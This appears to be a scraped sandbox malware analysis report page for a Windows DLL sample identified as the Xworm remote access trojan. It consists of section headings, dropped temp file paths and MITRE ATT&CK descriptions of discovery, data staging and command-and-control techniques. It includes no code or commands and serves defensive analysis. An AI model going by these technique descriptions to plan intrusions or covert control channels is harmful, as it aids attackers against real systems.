Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\RESD20F.tmp

C:\Users\user\AppData\Local\Temp\RESDAD9.tmp

C:\Users\user\AppData\Local\Temp\RESDC30.tmp

C:\Users\user\AppData\Local\Temp\RESDFCA.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3cdu2qda.kuv.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4fpw1eyz.g4h.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b5xhm2as.dud.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cqsmookl.btm.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dkfmmlqf.l0i.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dq1zt5vw.4ib.psm1

Windows Analysis Report
SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre